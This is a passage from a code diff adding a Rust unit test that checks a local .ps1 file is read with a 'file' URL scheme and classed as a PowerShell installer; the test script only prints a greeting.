{ ); } + #[test] + fn reads_local_script() { + let mut file = tempfile::Builder::new().suffix(".ps1").tempfile().unwrap(); + std::io::Write::write_all(&mut file, b"Write-Host hi").unwrap(); + let artifact = read_local(file.path()).unwrap(); + assert_eq!(artifact.url.scheme(), "file"); + assert_eq!(artifact.kind, InstallerKind::PowerShell); + } + #[test] fn detects_powershell_extension() { assert!(matches!(